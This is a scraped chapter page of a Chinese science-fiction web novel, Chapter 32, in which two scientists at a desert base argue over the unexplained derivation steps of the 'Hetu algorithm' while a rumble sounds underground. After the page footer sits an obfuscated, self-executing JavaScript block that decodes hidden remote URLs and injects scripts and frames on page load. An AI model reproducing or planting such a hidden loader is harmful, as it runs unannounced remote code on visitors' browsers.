首页
第 32 章 算法探讨
返回

第 32 章 算法探讨

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第32章算法探讨(第1/2页)
    沈雨薇把餐盘推到回收处,塑料碗底刮在金属台面上,声音刺耳。食堂里空了大半,几个工程兵蹲在门口抽烟,红点在黑暗里明明灭灭。她拎起电脑包,没往自己那排板房走,转身朝基地南侧去。
    天已经黑透,沙子开始往外散白天的热气,风卷着细碎的颗粒,打在脸上沙沙响。简易路灯的光晕黄,勉强照出脚下坑洼的路面。远处工地高塔上,探照灯光柱像几把巨大的刷子,在夜空里缓慢地来回扫。
    第三间板房,门缝底下透出光。她站住,吸了口气,抬手敲门。
    咚,咚。
    门开了。苏晚晴探出半个身子,手里还拿着块湿毛巾,看见是她,眼睛弯起来:“沈老师?”
    “叫我沈雨薇就行。”沈雨薇说,目光往屋里扫。
    林辰坐在折叠桌后面,桌上摊着几张大幅草图,铅笔橡皮散了一片。他抬头,推了下眼镜:“沈组长?”
    “林顾问。”沈雨薇迈进去,语气平稳,“有些算法上的问题,想请教。”
    屋子不大,六平米,东西堆得满。行军床上的被子卷成一团,墙角摞着几箱打印纸。桌上除了图纸,还有半袋压缩饼干,一台工作站电脑屏幕亮着,复杂的电磁场模拟界面在幽幽闪烁。空气里有股淡淡的汗味,混合着电子设备发热的焦糊气。
    苏晚晴把毛巾搭在床头架子上,顺手把地上几本摊开的书摞好。“坐,沈老师。”她拖过屋里唯一那把椅子,“我刚在帮林辰核对数据,乱得很。”
    沈雨薇没坐。她从电脑包里抽出一沓打印纸,纸上密密麻麻全是手写公式的扫描件,她用红笔在几处画了圈。
    “河图算法的原始推导手稿,我反复看了。”她声音平直,没什么起伏,把纸摊在桌上,手指点着第一个红圈,“林顾问,这几个变换步骤,我没完全看懂。”
    林辰凑过来,鼻尖几乎贴到纸上。“哪?”
    “这里。”沈雨薇的指尖很稳,“从非欧空间的测地线方程,直接过渡到闵可夫斯基时空的仿射映射。中间的数学桥梁,手稿上是空的。你跳过了至少三步常规推导。”
    林辰抓了抓头发,转身在那堆草稿里翻,抽出一张边缘卷曲、沾着沙粒的活页纸。纸上的字更潦草,有些地方被水渍晕开了。
    “这个啊。”他语速快起来,铅笔尖戳了戳一个模糊的符号,“你看,当时实验的时候,信号标传回来的实际坐标,跟理论预测差了两百多米。我往回倒推,发现如果在这里引入一个局域的时空挠率修正项,误差就能缩到十米以内。后来我试了几次,发现这个修正项,可以理解成两种几何结构之间一种……嗯,一种很自然的‘缝合’。”
    他边说,边在空白处飞快地写了几行新式子。笔尖沙沙响。
    沈雨薇盯着那几行式子,没说话。她指尖在桌面上虚划了几下,眉头慢慢皱起来。
    苏晚晴靠在床边,手指无意识地绕着那缕垂下的碎发。
    “所以,”沈雨薇抬起头,眼神专注,“你不是从数学公理出发,一步步推导出这个变换。你是从实验结果反推,拟合出了一个能解释数据的数学形式?”
    “对。”林辰点头,眼睛在镜片后亮了一下,“但它后来被独立验证过,自洽,而且简洁。”
    “简洁不等于完备。”沈雨薇的声音依然平稳,但语速稍微快了点,“更不等于普适。你的‘缝合’,建立在特定实验条件下。如果环境参数变化,引力扰动增强,或者传输距离增加一个数量级,这个形式还能不能成立?它的数学基础是什么?属于哪个已知的变换群?有没有更一般的表达式?”
    一连串问题。林辰张了张嘴,右手指开始无意识地快速敲击大腿侧面。
    苏晚晴轻轻咳了一声。“沈老师的意思是……需要更严谨的数学证明?”
    “不是证明,是重构。”沈雨薇转向她,语气稍微缓和,但依然精确,“林顾问提供了一个很有启发性的‘零件’,但零件内部的结构是模糊的,像是……凭手感磨出来的。我的工作是把它拆开,搞清楚每一个面的角度、每一条边的曲率,然后画出标准的加工图纸。这样,下次我们需要类似零件时,才能按图索骥,而不是依赖运气和直觉。”
    她停顿,看向林辰。“你的方法,是基于物理直觉和实验反馈的‘经验公式’。输入,输出,中间过程缺乏严格的数学链条。对于坐标计算组来说,这是不够的。我们需要的是确定、唯一、逻辑链完整的算法。一次计算偏差,在星际尺度上可能就是几百万公里的迷失。”
    屋子里静下来。只有电脑风扇嗡嗡的轻响,和窗外远处工地永不间断的机械轰鸣——那是挖掘机在深坑里作业的闷响,咚,咚,咚,隔着地面传过来。
    林辰不敲腿了。他摘下眼镜,用衣角慢慢擦镜片,擦了很久。
    (本章未完,请点击下一页继续阅读)第32章算法探讨(第2/2页)
    “我明白。”他戴上眼镜,脸色在灯光下显得有点苍白,“但有时候……数学工具可能抓不住全部的现实。”
    沈雨薇看着他。
    “河图玉版上那些线条,”林辰声音低了些,像在自言自语,又像在解释,“我第一次看到的时候,就觉得……它们不像纯粹的数学抽象。更像是一种‘拓印’,拓印某种能量扰动的模式,或者空间结构本身‘震颤’留下的痕迹。数学是我们描述它的语言,但语言本身,也许有极限。就像你用尺子去量水波的形状,尺子太硬,量不准。”
    他转身又在纸堆里翻,找出几张皱巴巴的打印纸,上面是密密麻麻的波形图。“你看这个,原始实验数据,信号标传回来时的底层电磁波形。不是预处理后的坐标序列。”
    沈雨薇接过纸,凑到灯下。她的指尖沿着波形线慢慢移动,嘴唇抿成一条直线。苏晚晴也好奇地凑过去看。
    纸上,除了清晰的主信号峰,基线附近有些极其细微的、规律的起伏,频率低得几乎贴在仪器噪声的底限上,不仔细看会以为是扫描瑕疵。
    “这些杂波,”林辰说,“一开始我以为是设备干扰,滤掉了。但后来发现,每次跃迁成功,它都会出现,形态有微弱的相似性。不像随机噪声。”
    沈雨薇看了足有两分钟,指尖无意识地按压右手食指的指关节,发出轻微的“咔”声。
    “你怀疑这是‘河图’描述的那种基础能量扰动,在现实物理系统中的……某种残余共振?”她问,用词极其谨慎。
    “我不知道。”林辰老实说,手摊开,“可能是,也可能只是接地不良引起的谐波。但如果是前者……”他没说下去,手指在波形图上那几个微小的凸起处点了点。
    三个人都不说话了。板房里只剩下呼吸声,和窗外永不停歇的风声——那风像在砂纸上磨,嘶啦嘶啦。
    苏晚晴看看林辰,又看看沈雨薇。她忽然有点明白赵启明为什么要把这两个人凑到一块儿。一个像在山里钻惯了的老猎户,凭着经验和鼻子就能找到兽道;一个像带着全站仪和绘图板的地质队员,要求每一条等高线都必须精确到厘米。
    沈雨薇把波形图放下,整理了一下那沓打印纸。“我建议,”她开口,声音恢复了平直,“从明天开始,每天下午抽出一到两小时,我们共同梳理算法的推导过程。我需要你授权调取全部原始实验数据,包括所有底层波形记录,进行独立分析。你的物理直觉可能有价值,但直觉必须被翻译成严谨的数学语言和可检验的物理假设。否则,它只是猜测。”
    林辰愣了一下,随即点头。“行。”
    “另外,”沈雨薇拉上电脑包拉链,拎起来,“你的推导习惯需要规范。跳步骤、用心算代替书写、用结果反推过程——这些在个人探索阶段或许有效,但在团队协作和算法标准化中,是潜在的风险点。别人无法跟随你的思路,就无法交叉验证,更无法在你忽略某个边界条件时及时提醒。”
    她转身朝门口走。
    手搭上门把时,她停住,没回头。
    “还有,”她说,“你刚才那个想法——关于数学工具可能存在描述极限的想法——可以整理成一份简短的备忘录。列出具体现象,提出可检验的猜想,哪怕目前看起来缺乏坚实的理论支撑。有时候,正是这些‘说不清’的角落,藏着真正的突破。”
    林辰站在桌边,看着她。“……好。”
    沈雨薇拧开门把。外面夜色浓重,只有远处工地高塔上的探照灯光柱,刺破黑暗,缓缓扫过起伏的沙丘。光柱边缘,亿万颗沙尘在狂舞,像一场无声的暴风雪。
    她刚要迈步。
    头顶的灯管,突然极其轻微地闪了一下。
    光暗了不到半秒,随即恢复正常。
    很短暂,短暂到像是错觉。
    但屋里的三个人都感觉到了。林辰抬头看了眼灯管,眉头皱起来。苏晚晴手指停在碎发上。沈雨薇站在门边,手还搭在门把上,没动。
    窗外,工地上的机械轰鸣声似乎低了一瞬,然后又恢复如常。但那来自地底深处的、有规律的掘进闷响,却好像……更清晰了一点。
    咚……咚……咚……
    缓慢,沉重,带着某种不容置疑的节奏,从脚底下的沙土和岩层深处传来,像一颗巨大无比的心脏,正在黑暗里搏动。
    沈雨薇没说话。她拉开门,走了出去,反手轻轻带上。
    门合上的声音很轻。
    板房里,林辰和苏晚晴对视了一眼。谁都没先开口。
    窗外的灯光稳定地亮着,再没有闪烁。但地底那遥远的闷响,却顽固地钻进耳朵里,和桌上电脑风扇的嗡嗡声、和自己胸腔里的心跳,混在一起,分不清彼此。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();